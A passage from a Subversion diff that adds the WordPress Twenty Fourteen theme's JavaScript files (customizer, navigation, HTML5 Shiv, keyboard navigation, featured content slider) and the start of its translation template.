--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/js/customizer.js	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/js/customizer.js	(revision 33402)
@@ -0,0 +1,38 @@
+/**
+ * Twenty Fourteen Customizer enhancements for a better user experience.
+ *
+ * Contains handlers to make Customizer preview reload changes asynchronously.
+ */
+( function( $ ) {
+	// Site title and description.
+	wp.customize( 'blogname', function( value ) {
+		value.bind( function( to ) {
+			$( '.site-title a' ).text( to );
+		} );
+	} );
+	wp.customize( 'blogdescription', function( value ) {
+		value.bind( function( to ) {
+			$( '.site-description' ).text( to );
+		} );
+	} );
+	// Header text color.
+	wp.customize( 'header_textcolor', function( value ) {
+		value.bind( function( to ) {
+			if ( 'blank' === to ) {
+				$( '.site-title, .site-description' ).css( {
+					'clip': 'rect(1px, 1px, 1px, 1px)',
+					'position': 'absolute'
+				} );
+			} else {
+				$( '.site-title,  .site-description' ).css( {
+					'clip': 'auto',
+					'position': 'static'
+				} );
+
+				$( '.site-title a' ).css( {
+					'color': to
+				} );
+			}
+		} );
+	} );
+} )( jQuery );
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/js/featured-content-admin.js
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/js/featured-content-admin.js	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/js/featured-content-admin.js	(revision 33402)
@@ -0,0 +1,9 @@
+/**
+ * Twenty Fourteen Featured Content admin behavior: add a tag suggestion
+ * when changing the tag.
+ */
+/* global ajaxurl:true */
+
+jQuery( document ).ready( function( $ ) {
+	$( '#customize-control-featured-content-tag-name input' ).suggest( ajaxurl + '?action=ajax-tag-search&tax=post_tag', { delay: 500, minchars: 2 } );
+});
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/js/functions.js
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/js/functions.js	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/js/functions.js	(revision 33402)
@@ -0,0 +1,134 @@
+/**
+ * Theme functions file
+ *
+ * Contains handlers for navigation, accessibility, header sizing
+ * footer widgets and Featured Content slider
+ *
+ */
+( function( $ ) {
+	var body    = $( 'body' ),
+		_window = $( window );
+
+	// Enable menu toggle for small screens.
+	( function() {
+		var nav = $( '#primary-navigation' ), button, menu;
+		if ( ! nav ) {
+			return;
+		}
+
+		button = nav.find( '.menu-toggle' );
+		if ( ! button ) {
+			return;
+		}
+
+		// Hide button if menu is missing or empty.
+		menu = nav.find( '.nav-menu' );
+		if ( ! menu || ! menu.children().length ) {
+			button.hide();
+			return;
+		}
+
+		$( '.menu-toggle' ).on( 'click.twentyfourteen', function() {
+			nav.toggleClass( 'toggled-on' );
+		} );
+	} )();
+
+	/*
+	 * Makes "skip to content" link work correctly in IE9 and Chrome for better
+	 * accessibility.
+	 *
+	 * @link http://www.nczonline.net/blog/2013/01/15/fixing-skip-to-content-links/
+	 */
+	_window.on( 'hashchange.twentyfourteen', function() {
+		var hash = location.hash.substring( 1 ), element;
+
+		if ( ! hash ) {
+			return;
+		}
+
+		element = document.getElementById( hash );
+
+		if ( element ) {
+			if ( ! /^(?:a|select|input|button|textarea)$/i.test( element.tagName ) ) {
+				element.tabIndex = -1;
+			}
+
+			element.focus();
+
+			// Repositions the window on jump-to-anchor to account for header height.
+			window.scrollBy( 0, -80 );
+		}
+	} );
+
+	$( function() {
+		// Search toggle.
+		$( '.search-toggle' ).on( 'click.twentyfourteen', function( event ) {
+			var that    = $( this ),
+				wrapper = $( '.search-box-wrapper' );
+
+			that.toggleClass( 'active' );
+			wrapper.toggleClass( 'hide' );
+
+			if ( that.is( '.active' ) || $( '.search-toggle .screen-reader-text' )[0] === event.target ) {
+				wrapper.find( '.search-field' ).focus();
+			}
+		} );
+
+		/*
+		 * Fixed header for large screen.
+		 * If the header becomes more than 48px tall, unfix the header.
+		 *
+		 * The callback on the scroll event is only added if there is a header
+		 * image and we are not on mobile.
+		 */
+		if ( _window.width() > 781 ) {
+			var mastheadHeight = $( '#masthead' ).height(),
+				toolbarOffset, mastheadOffset;
+
+			if ( mastheadHeight > 48 ) {
+				body.removeClass( 'masthead-fixed' );
+			}
+
+			if ( body.is( '.header-image' ) ) {
+				toolbarOffset  = body.is( '.admin-bar' ) ? $( '#wpadminbar' ).height() : 0;
+				mastheadOffset = $( '#masthead' ).offset().top - toolbarOffset;
+
+				_window.on( 'scroll.twentyfourteen', function() {
+					if ( _window.scrollTop() > mastheadOffset && mastheadHeight < 49 ) {
+						body.addClass( 'masthead-fixed' );
+					} else {
+						body.removeClass( 'masthead-fixed' );
+					}
+				} );
+			}
+		}
+
+		// Focus styles for menus.
+		$( '.primary-navigation, .secondary-navigation' ).find( 'a' ).on( 'focus.twentyfourteen blur.twentyfourteen', function() {
+			$( this ).parents().toggleClass( 'focus' );
+		} );
+	} );
+
+	_window.load( function() {
+		// Arrange footer widgets vertically.
+		if ( $.isFunction( $.fn.masonry ) ) {
+			$( '#footer-sidebar' ).masonry( {
+				itemSelector: '.widget',
+				columnWidth: function( containerWidth ) {
+					return containerWidth / 4;
+				},
+				gutterWidth: 0,
+				isResizable: true,
+				isRTL: $( 'body' ).is( '.rtl' )
+			} );
+		}
+
+		// Initialize Featured Content slider.
+		if ( body.is( '.slider' ) ) {
+			$( '.featured-content' ).featuredslider( {
+				selector: '.featured-content-inner > article',
+				controlsContainer: '.featured-content'
+			} );
+		}
+	} );
+} )( jQuery );
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/js/html5.js
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/js/html5.js	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/js/html5.js	(revision 33402)
@@ -0,0 +1,8 @@
+/*
+ HTML5 Shiv v3.7.0 | @afarkas @jdalton @jon_neal @rem | MIT/GPL2 Licensed
+*/
+(function(l,f){function m(){var a=e.elements;return"string"==typeof a?a.split(" "):a}function i(a){var b=n[a[o]];b||(b={},h++,a[o]=h,n[h]=b);return b}function p(a,b,c){b||(b=f);if(g)return b.createElement(a);c||(c=i(b));b=c.cache[a]?c.cache[a].cloneNode():r.test(a)?(c.cache[a]=c.createElem(a)).cloneNode():c.createElem(a);return b.canHaveChildren&&!s.test(a)?c.frag.appendChild(b):b}function t(a,b){if(!b.cache)b.cache={},b.createElem=a.createElement,b.createFrag=a.createDocumentFragment,b.frag=b.createFrag();
+a.createElement=function(c){return!e.shivMethods?b.createElem(c):p(c,a,b)};a.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+m().join().replace(/[\w\-]+/g,function(a){b.createElem(a);b.frag.createElement(a);return'c("'+a+'")'})+");return n}")(e,b.frag)}function q(a){a||(a=f);var b=i(a);if(e.shivCSS&&!j&&!b.hasCSS){var c,d=a;c=d.createElement("p");d=d.getElementsByTagName("head")[0]||d.documentElement;c.innerHTML="x<style>article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}template{display:none}</style>";
+c=d.insertBefore(c.lastChild,d.firstChild);b.hasCSS=!!c}g||t(a,b);return a}var k=l.html5||{},s=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,r=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,j,o="_html5shiv",h=0,n={},g;(function(){try{var a=f.createElement("a");a.innerHTML="<xyz></xyz>";j="hidden"in a;var b;if(!(b=1==a.childNodes.length)){f.createElement("a");var c=f.createDocumentFragment();b="undefined"==typeof c.cloneNode||
+"undefined"==typeof c.createDocumentFragment||"undefined"==typeof c.createElement}g=b}catch(d){g=j=!0}})();var e={elements:k.elements||"abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output progress section summary template time video",version:"3.7.0",shivCSS:!1!==k.shivCSS,supportsUnknownElements:g,shivMethods:!1!==k.shivMethods,type:"default",shivDocument:q,createElement:p,createDocumentFragment:function(a,b){a||(a=f);
+if(g)return a.createDocumentFragment();for(var b=b||i(a),c=b.frag.cloneNode(),d=0,e=m(),h=e.length;d<h;d++)c.createElement(e[d]);return c}};l.html5=e;q(f)})(this,document);
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/js/keyboard-image-navigation.js
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/js/keyboard-image-navigation.js	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/js/keyboard-image-navigation.js	(revision 33402)
@@ -0,0 +1,21 @@
+/**
+ * Twenty Fourteen keyboard support for image navigation.
+ */
+( function( $ ) {
+	$( document ).on( 'keydown.twentyfourteen', function( e ) {
+		var url = false;
+
+		// Left arrow key code.
+		if ( e.which === 37 ) {
+			url = $( '.previous-image a' ).attr( 'href' );
+
+		// Right arrow key code.
+		} else if ( e.which === 39 ) {
+			url = $( '.entry-attachment a' ).attr( 'href' );
+		}
+
+		if ( url && ( !$( 'textarea, input' ).is( ':focus' ) ) ) {
+			window.location = url;
+		}
+	} );
+} )( jQuery );
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/js/slider.js
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/js/slider.js	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/js/slider.js	(revision 33402)
@@ -0,0 +1,598 @@
+/*
+ * Twenty Fourteen Featured Content Slider
+ *
+ * Adapted from FlexSlider v2.2.0, copyright 2012 WooThemes
+ * @link http://www.woothemes.com/flexslider/
+ */
+/* global DocumentTouch:true,setImmediate:true,featuredSliderDefaults:true,MSGesture:true */
+( function( $ ) {
+	// FeaturedSlider: object instance.
+	$.featuredslider = function( el, options ) {
+		var slider = $( el ),
+			msGesture = window.navigator && window.navigator.msPointerEnabled && window.MSGesture,
+			touch = ( ( 'ontouchstart' in window ) || msGesture || window.DocumentTouch && document instanceof DocumentTouch ), // MSFT specific.
+			eventType = 'click touchend MSPointerUp',
+			watchedEvent = '',
+			watchedEventClearTimer,
+			methods = {},
+			namespace;
+
+		// Make variables public.
+		slider.vars = $.extend( {}, $.featuredslider.defaults, options );
+
+		namespace = slider.vars.namespace,
+
+		// Store a reference to the slider object.
+		$.data( el, 'featuredslider', slider );
+
+		// Private slider methods.
+		methods = {
+			init: function() {
+				slider.animating = false;
+				slider.currentSlide = 0;
+				slider.animatingTo = slider.currentSlide;
+				slider.atEnd = ( slider.currentSlide === 0 || slider.currentSlide === slider.last );
+				slider.containerSelector = slider.vars.selector.substr( 0, slider.vars.selector.search( ' ' ) );
+				slider.slides = $( slider.vars.selector, slider );
+				slider.container = $( slider.containerSelector, slider );
+				slider.count = slider.slides.length;
+				slider.prop = 'marginLeft';
+				slider.isRtl = $( 'body' ).hasClass( 'rtl' );
+				slider.args = {};
+				// TOUCH
+				slider.transitions = ( function() {
+					var obj = document.createElement( 'div' ),
+						props = ['perspectiveProperty', 'WebkitPerspective', 'MozPerspective', 'OPerspective', 'msPerspective'],
+						i;
+
+					for ( i in props ) {
+						if ( obj.style[ props[i] ] !== undefined ) {
+							slider.pfx = props[i].replace( 'Perspective', '' ).toLowerCase();
+							slider.prop = '-' + slider.pfx + '-transform';
+							return true;
+						}
+					}
+					return false;
+				}() );
+				// CONTROLSCONTAINER
+				if ( slider.vars.controlsContainer !== '' ) {
+					slider.controlsContainer = $( slider.vars.controlsContainer ).length > 0 && $( slider.vars.controlsContainer );
+				}
+
+				slider.doMath();
+
+				// INIT
+				slider.setup( 'init' );
+
+				// CONTROLNAV
+				methods.controlNav.setup();
+
+				// DIRECTIONNAV
+				methods.directionNav.setup();
+
+				// KEYBOARD
+				if ( $( slider.containerSelector ).length === 1 ) {
+					$( document ).bind( 'keyup', function( event ) {
+						var keycode = event.keyCode,
+							target = false;
+						if ( ! slider.animating && ( keycode === 39 || keycode === 37 ) ) {
+							if ( keycode === 39 ) {
+								target = slider.getTarget( 'next' );
+							} else if ( keycode === 37 ) {
+								target = slider.getTarget( 'prev' );
+							}
+
+							slider.featureAnimate( target );
+						}
+					} );
+				}
+
+				// TOUCH
+				if ( touch ) {
+					methods.touch();
+				}
+
+				$( window ).bind( 'resize orientationchange focus', methods.resize );
+
+				slider.find( 'img' ).attr( 'draggable', 'false' );
+			},
+
+			controlNav: {
+				setup: function() {
+					methods.controlNav.setupPaging();
+				},
+				setupPaging: function() {
+					var type = 'control-paging',
+						j = 1,
+						item,
+						slide,
+						i;
+
+					slider.controlNavScaffold = $( '<ol class="' + namespace + 'control-nav ' + namespace + type + '"></ol>' );
+
+					if ( slider.pagingCount > 1 ) {
+						for ( i = 0; i < slider.pagingCount; i++ ) {
+							slide = slider.slides.eq( i );
+							item = '<a>' + j + '</a>';
+							slider.controlNavScaffold.append( '<li>' + item + '</li>' );
+							j++;
+						}
+					}
+
+					// CONTROLSCONTAINER
+					( slider.controlsContainer ) ? $( slider.controlsContainer ).append( slider.controlNavScaffold ) : slider.append( slider.controlNavScaffold );
+					methods.controlNav.set();
+
+					methods.controlNav.active();
+
+					slider.controlNavScaffold.delegate( 'a, img', eventType, function( event ) {
+						event.preventDefault();
+
+						if ( watchedEvent === '' || watchedEvent === event.type ) {
+							var $this = $( this ),
+								target = slider.controlNav.index( $this );
+
+							if ( ! $this.hasClass( namespace + 'active' ) ) {
+								slider.direction = ( target > slider.currentSlide ) ? 'next' : 'prev';
+								slider.featureAnimate( target );
+							}
+						}
+
+						// Set up flags to prevent event duplication.
+						if ( watchedEvent === '' ) {
+							watchedEvent = event.type;
+						}
+
+						methods.setToClearWatchedEvent();
+					} );
+				},
+				set: function() {
+					var selector = 'a';
+					slider.controlNav = $( '.' + namespace + 'control-nav li ' + selector, ( slider.controlsContainer ) ? slider.controlsContainer : slider );
+				},
+				active: function() {
+					slider.controlNav.removeClass( namespace + 'active' ).eq( slider.animatingTo ).addClass( namespace + 'active' );
+				},
+				update: function( action, pos ) {
+					if ( slider.pagingCount > 1 && action === 'add' ) {
+						slider.controlNavScaffold.append( $( '<li><a>' + slider.count + '</a></li>' ) );
+					} else if ( slider.pagingCount === 1 ) {
+						slider.controlNavScaffold.find( 'li' ).remove();
+					} else {
+						slider.controlNav.eq( pos ).closest( 'li' ).remove();
+					}
+					methods.controlNav.set();
+					( slider.pagingCount > 1 && slider.pagingCount !== slider.controlNav.length ) ? slider.update( pos, action ) : methods.controlNav.active();
+				}
+			},
+
+			directionNav: {
+				setup: function() {
+					var directionNavScaffold = $( '<ul class="' + namespace + 'direction-nav"><li><a class="' + namespace + 'prev" href="#">' + slider.vars.prevText + '</a></li><li><a class="' + namespace + 'next" href="#">' + slider.vars.nextText + '</a></li></ul>' );
+
+					// CONTROLSCONTAINER
+					if ( slider.controlsContainer ) {
+						$( slider.controlsContainer ).append( directionNavScaffold );
+						slider.directionNav = $( '.' + namespace + 'direction-nav li a', slider.controlsContainer );
+					} else {
+						slider.append( directionNavScaffold );
+						slider.directionNav = $( '.' + namespace + 'direction-nav li a', slider );
+					}
+
+					methods.directionNav.update();
+
+					slider.directionNav.bind( eventType, function( event ) {
+						event.preventDefault();
+						var target;
+
+						if ( watchedEvent === '' || watchedEvent === event.type ) {
+							target = ( $( this ).hasClass( namespace + 'next' ) ) ? slider.getTarget( 'next' ) : slider.getTarget( 'prev' );
+							slider.featureAnimate( target );
+						}
+
+						// Set up flags to prevent event duplication.
+						if ( watchedEvent === '' ) {
+							watchedEvent = event.type;
+						}
+
+						methods.setToClearWatchedEvent();
+					} );
+				},
+				update: function() {
+					var disabledClass = namespace + 'disabled';
+					if ( slider.pagingCount === 1 ) {
+						slider.directionNav.addClass( disabledClass ).attr( 'tabindex', '-1' );
+					} else {
+						slider.directionNav.removeClass( disabledClass ).removeAttr( 'tabindex' );
+					}
+				}
+			},
+
+			touch: function() {
+				var startX,
+					startY,
+					offset,
+					cwidth,
+					dx,
+					startT,
+					scrolling = false,
+					localX = 0,
+					localY = 0,
+					accDx = 0;
+
+				if ( ! msGesture ) {
+					el.addEventListener( 'touchstart', onTouchStart, false );
+				} else {
+					el.style.msTouchAction = 'none';
+					el._gesture = new MSGesture(); // MSFT specific.
+					el._gesture.target = el;
+					el.addEventListener( 'MSPointerDown', onMSPointerDown, false );
+					el._slider = slider;
+					el.addEventListener( 'MSGestureChange', onMSGestureChange, false );
+					el.addEventListener( 'MSGestureEnd', onMSGestureEnd, false );
+				}
+
+				function onTouchStart( e ) {
+					if ( slider.animating ) {
+						e.preventDefault();
+					} else if ( ( window.navigator.msPointerEnabled ) || e.touches.length === 1 ) {
+						cwidth = slider.w;
+						startT = Number( new Date() );
+
+						// Local vars for X and Y points.
+						localX = e.touches[0].pageX;
+						localY = e.touches[0].pageY;
+
+						offset = ( slider.currentSlide + slider.cloneOffset ) * cwidth;
+						if ( slider.animatingTo === slider.last && slider.direction !== 'next' ) {
+							offset = 0;
+						}
+
+						startX = localX;
+						startY = localY;
+
+						el.addEventListener( 'touchmove', onTouchMove, false );
+						el.addEventListener( 'touchend', onTouchEnd, false );
+					}
+				}
+
+				function onTouchMove( e ) {
+					// Local vars for X and Y points.
+					localX = e.touches[0].pageX;
+					localY = e.touches[0].pageY;
+
+					dx = startX - localX;
+					scrolling = Math.abs( dx ) < Math.abs( localY - startY );
+
+					if ( ! scrolling ) {
+						e.preventDefault();
+						if ( slider.transitions ) {
+							slider.setProps( offset + dx, 'setTouch' );
+						}
+					}
+				}
+
+				function onTouchEnd() {
+					// Finish the touch by undoing the touch session.
+					el.removeEventListener( 'touchmove', onTouchMove, false );
+
+					if ( slider.animatingTo === slider.currentSlide && ! scrolling && dx !== null ) {
+						var updateDx = dx,
+							target = ( updateDx > 0 ) ? slider.getTarget( 'next' ) : slider.getTarget( 'prev' );
+
+						slider.featureAnimate( target );
+					}
+					el.removeEventListener( 'touchend', onTouchEnd, false );
+
+					startX = null;
+					startY = null;
+					dx = null;
+					offset = null;
+				}
+
+				function onMSPointerDown( e ) {
+					e.stopPropagation();
+					if ( slider.animating ) {
+						e.preventDefault();
+					} else {
+						el._gesture.addPointer( e.pointerId );
+						accDx = 0;
+						cwidth = slider.w;
+						startT = Number( new Date() );
+						offset = ( slider.currentSlide + slider.cloneOffset ) * cwidth;
+						if ( slider.animatingTo === slider.last && slider.direction !== 'next' ) {
+							offset = 0;
+						}
+					}
+				}
+
+				function onMSGestureChange( e ) {
+					e.stopPropagation();
+					var slider = e.target._slider,
+						transX,
+						transY;
+					if ( ! slider ) {
+						return;
+					}
+
+					transX = -e.translationX,
+					transY = -e.translationY;
+
+					// Accumulate translations.
+					accDx = accDx + transX;
+					dx = accDx;
+					scrolling = Math.abs( accDx ) < Math.abs( -transY );
+
+					if ( e.detail === e.MSGESTURE_FLAG_INERTIA ) {
+						setImmediate( function () { // MSFT specific.
+							el._gesture.stop();
+						} );
+
+						return;
+					}
+
+					if ( ! scrolling || Number( new Date() ) - startT > 500 ) {
+						e.preventDefault();
+						if ( slider.transitions ) {
+							slider.setProps( offset + dx, 'setTouch' );
+						}
+					}
+				}
+
+				function onMSGestureEnd( e ) {
+					e.stopPropagation();
+					var slider = e.target._slider,
+						updateDx,
+						target;
+					if ( ! slider ) {
+						return;
+					}
+
+					if ( slider.animatingTo === slider.currentSlide && ! scrolling && dx !== null ) {
+						updateDx = dx,
+						target = ( updateDx > 0 ) ? slider.getTarget( 'next' ) : slider.getTarget( 'prev' );
+
+						slider.featureAnimate( target );
+					}
+
+					startX = null;
+					startY = null;
+					dx = null;
+					offset = null;
+					accDx = 0;
+				}
+			},
+
+			resize: function() {
+				if ( ! slider.animating && slider.is( ':visible' ) ) {
+					slider.doMath();
+
+					// SMOOTH HEIGHT
+					methods.smoothHeight();
+					slider.newSlides.width( slider.computedW );
+					slider.setProps( slider.computedW, 'setTotal' );
+				}
+			},
+
+			smoothHeight: function( dur ) {
+				var $obj = slider.viewport;
+				( dur ) ? $obj.animate( { 'height': slider.slides.eq( slider.animatingTo ).height() }, dur ) : $obj.height( slider.slides.eq( slider.animatingTo ).height() );
+			},
+
+			setToClearWatchedEvent: function() {
+				clearTimeout( watchedEventClearTimer );
+				watchedEventClearTimer = setTimeout( function() {
+					watchedEvent = '';
+				}, 3000 );
+			}
+		};
+
+		// Public methods.
+		slider.featureAnimate = function( target ) {
+			if ( target !== slider.currentSlide ) {
+				slider.direction = ( target > slider.currentSlide ) ? 'next' : 'prev';
+			}
+
+			if ( ! slider.animating && slider.is( ':visible' ) ) {
+				slider.animating = true;
+				slider.animatingTo = target;
+
+				// CONTROLNAV
+				methods.controlNav.active();
+
+				slider.slides.removeClass( namespace + 'active-slide' ).eq( target ).addClass( namespace + 'active-slide' );
+
+				slider.atEnd = target === 0 || target === slider.last;
+
+				// DIRECTIONNAV
+				methods.directionNav.update();
+
+				var dimension = slider.computedW,
+					slideString;
+
+				if ( slider.currentSlide === 0 && target === slider.count - 1 && slider.direction !== 'next' ) {
+					slideString = 0;
+				} else if ( slider.currentSlide === slider.last && target === 0 && slider.direction !== 'prev' ) {
+					slideString = ( slider.count + 1 ) * dimension;
+				} else {
+					slideString = ( target + slider.cloneOffset ) * dimension;
+				}
+				slider.setProps( slideString, '', slider.vars.animationSpeed );
+				if ( slider.transitions ) {
+					if ( ! slider.atEnd ) {
+						slider.animating = false;
+						slider.currentSlide = slider.animatingTo;
+					}
+					slider.container.unbind( 'webkitTransitionEnd transitionend' );
+					slider.container.bind( 'webkitTransitionEnd transitionend', function() {
+						slider.wrapup( dimension );
+					} );
+				} else {
+					slider.container.animate( slider.args, slider.vars.animationSpeed, 'swing', function() {
+						slider.wrapup( dimension );
+					} );
+				}
+
+				// SMOOTH HEIGHT
+				methods.smoothHeight( slider.vars.animationSpeed );
+			}
+		};
+
+		slider.wrapup = function( dimension ) {
+			if ( slider.currentSlide === 0 && slider.animatingTo === slider.last ) {
+				slider.setProps( dimension, 'jumpEnd' );
+			} else if ( slider.currentSlide === slider.last && slider.animatingTo === 0 ) {
+				slider.setProps( dimension, 'jumpStart' );
+			}
+			slider.animating = false;
+			slider.currentSlide = slider.animatingTo;
+		};
+
+		slider.getTarget = function( dir ) {
+			slider.direction = dir;
+
+			// Swap for RTL.
+			if ( slider.isRtl ) {
+				dir = 'next' === dir ? 'prev' : 'next';
+			}
+
+			if ( dir === 'next' ) {
+				return ( slider.currentSlide === slider.last ) ? 0 : slider.currentSlide + 1;
+			} else {
+				return ( slider.currentSlide === 0 ) ? slider.last : slider.currentSlide - 1;
+			}
+		};
+
+		slider.setProps = function( pos, special, dur ) {
+			var target = ( function() {
+				var posCalc = ( function() {
+						switch ( special ) {
+							case 'setTotal': return ( slider.currentSlide + slider.cloneOffset ) * pos;
+							case 'setTouch': return pos;
+							case 'jumpEnd': return slider.count * pos;
+							case 'jumpStart': return pos;
+							default: return pos;
+						}
+					}() );
+
+					return ( posCalc * -1 ) + 'px';
+				}() );
+
+			if ( slider.transitions ) {
+				target = 'translate3d(' + target + ',0,0 )';
+				dur = ( dur !== undefined ) ? ( dur / 1000 ) + 's' : '0s';
+				slider.container.css( '-' + slider.pfx + '-transition-duration', dur );
+			}
+
+			slider.args[slider.prop] = target;
+			if ( slider.transitions || dur === undefined ) {
+				slider.container.css( slider.args );
+			}
+		};
+
+		slider.setup = function( type ) {
+			var sliderOffset;
+
+			if ( type === 'init' ) {
+				slider.viewport = $( '<div class="' + namespace + 'viewport"></div>' ).css( { 'overflow': 'hidden', 'position': 'relative' } ).appendTo( slider ).append( slider.container );
+				slider.cloneCount = 0;
+				slider.cloneOffset = 0;
+			}
+			slider.cloneCount = 2;
+			slider.cloneOffset = 1;
+			// Clear out old clones.
+			if ( type !== 'init' ) {
+				slider.container.find( '.clone' ).remove();
+			}
+
+			slider.container.append( slider.slides.first().clone().addClass( 'clone' ).attr( 'aria-hidden', 'true' ) ).prepend( slider.slides.last().clone().addClass( 'clone' ).attr( 'aria-hidden', 'true' ) );
+			slider.newSlides = $( slider.vars.selector, slider );
+
+			sliderOffset = slider.currentSlide + slider.cloneOffset;
+			slider.container.width( ( slider.count + slider.cloneCount ) * 200 + '%' );
+			slider.setProps( sliderOffset * slider.computedW, 'init' );
+			setTimeout( function() {
+				slider.doMath();
+				slider.newSlides.css( { 'width': slider.computedW, 'float': 'left', 'display': 'block' } );
+				// SMOOTH HEIGHT
+				methods.smoothHeight();
+			}, ( type === 'init' ) ? 100 : 0 );
+
+			slider.slides.removeClass( namespace + 'active-slide' ).eq( slider.currentSlide ).addClass( namespace + 'active-slide' );
+		};
+
+		slider.doMath = function() {
+			var slide = slider.slides.first();
+
+			slider.w = ( slider.viewport===undefined ) ? slider.width() : slider.viewport.width();
+			slider.h = slide.height();
+			slider.boxPadding = slide.outerWidth() - slide.width();
+
+			slider.itemW = slider.w;
+			slider.pagingCount = slider.count;
+			slider.last = slider.count - 1;
+			slider.computedW = slider.itemW - slider.boxPadding;
+		};
+
+		slider.update = function( pos, action ) {
+			slider.doMath();
+
+			// Update currentSlide and slider.animatingTo if necessary.
+			if ( pos < slider.currentSlide ) {
+				slider.currentSlide += 1;
+			} else if ( pos <= slider.currentSlide && pos !== 0 ) {
+				slider.currentSlide -= 1;
+			}
+			slider.animatingTo = slider.currentSlide;
+
+			// Update controlNav.
+			if ( action === 'add' || slider.pagingCount > slider.controlNav.length ) {
+				methods.controlNav.update( 'add' );
+			} else if ( action === 'remove' || slider.pagingCount < slider.controlNav.length ) {
+				if ( slider.currentSlide > slider.last ) {
+					slider.currentSlide -= 1;
+					slider.animatingTo -= 1;
+				}
+				methods.controlNav.update( 'remove', slider.last );
+			}
+			// Update directionNav.
+			methods.directionNav.update();
+		};
+
+		// FeaturedSlider: initialize.
+		methods.init();
+	};
+
+	// Default settings.
+	$.featuredslider.defaults = {
+		namespace: 'slider-',     // String: prefix string attached to the class of every element generated by the plugin.
+		selector: '.slides > li', // String: selector, must match a simple pattern.
+		animationSpeed: 600,      // Integer: Set the speed of animations, in milliseconds.
+		controlsContainer: '',    // jQuery Object/Selector: container navigation to append elements.
+
+		// Text labels.
+		prevText: featuredSliderDefaults.prevText, // String: Set the text for the "previous" directionNav item.
+		nextText: featuredSliderDefaults.nextText  // String: Set the text for the "next" directionNav item.
+	};
+
+	// FeaturedSlider: plugin function.
+	$.fn.featuredslider = function( options ) {
+		if ( options === undefined ) {
+			options = {};
+		}
+
+		if ( typeof options === 'object' ) {
+			return this.each( function() {
+				var $this = $( this ),
+					selector = ( options.selector ) ? options.selector : '.slides > li',
+					$slides = $this.find( selector );
+
+			if ( $slides.length === 1 || $slides.length === 0 ) {
+					$slides.fadeIn( 400 );
+				} else if ( $this.data( 'featuredslider' ) === undefined ) {
+					new $.featuredslider( this, options );
+				}
+			} );
+		}
+	};
+} )( jQuery );
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/languages/twentyfourteen.pot
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/languages/twentyfourteen.pot	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/languages/twentyfourteen.pot	(revision 33402)
@@ -0,0 +1,476 @@
+# Copyright (C) 2014 the WordPress team
+# This file is distributed under the GNU General Public License v2 or later.
+msgid ""
+msgstr ""
+"Project-Id-Version: Twenty Fourteen 1.3\n"
+"Report-Msgid-Bugs-To: http://wordpress.org/tags/twentyfourteen\n"
+"POT-Creation-Date: 2014-12-18 16:59:51+00:00\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"PO-Revision-Date: 2014-MO-DA HO:MI+ZONE\n"
+"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
+"Language-Team: LANGUAGE <LL@li.org>\n"
+
+#: 404.php:17
+msgid "Not Found"
+msgstr ""
+
+#: 404.php:21
+msgid "It looks like nothing was found at this location. Maybe try a search?"
+msgstr ""
+
+#: archive.php:31
+msgid "Daily Archives: %s"
+msgstr ""
+
+#: archive.php:34
+msgid "Monthly Archives: %s"
+msgstr ""
+
+#: archive.php:34
+msgctxt "monthly archives date format"
+msgid "F Y"
+msgstr ""
+
+#: archive.php:37
+msgid "Yearly Archives: %s"
+msgstr ""
+
+#: archive.php:37
+msgctxt "yearly archives date format"
+msgid "Y"
+msgstr ""
+
+#: archive.php:40 taxonomy-post_format.php:51
+msgid "Archives"
+msgstr ""
+
+#: author.php:31
+msgid "All posts by %s"
+msgstr ""
+
+#: category.php:20
+msgid "Category Archives: %s"
+msgstr ""
+
+#: comments.php:27
+msgid "One thought on &ldquo;%2$s&rdquo;"
+msgid_plural "%1$s thoughts on &ldquo;%2$s&rdquo;"
+msgstr[0] ""
+msgstr[1] ""
+
+#: comments.php:34 comments.php:52
+msgid "Comment navigation"
+msgstr ""
+
+#: comments.php:35 comments.php:53
+msgid "&larr; Older Comments"
+msgstr ""
+
+#: comments.php:36 comments.php:54
+msgid "Newer Comments &rarr;"
+msgstr ""
+
+#: comments.php:59
+msgid "Comments are closed."
+msgstr ""
+
+#: content-aside.php:17 content-audio.php:17 content-featured-post.php:28
+#: content-gallery.php:17 content-image.php:17 content-link.php:17
+#: content-quote.php:17 content-video.php:17 content.php:19
+msgctxt "Used between list items, there is a space after the comma."
+msgid ", "
+msgstr ""
+
+#: content-aside.php:37 content-audio.php:37 content-gallery.php:37
+#: content-image.php:37 content-link.php:37 content-quote.php:37
+#: content-video.php:37 content.php:38 inc/widgets.php:194
+msgid "Leave a comment"
+msgstr ""
+
+#: content-aside.php:37 content-audio.php:37 content-gallery.php:37
+#: content-image.php:37 content-link.php:37 content-quote.php:37
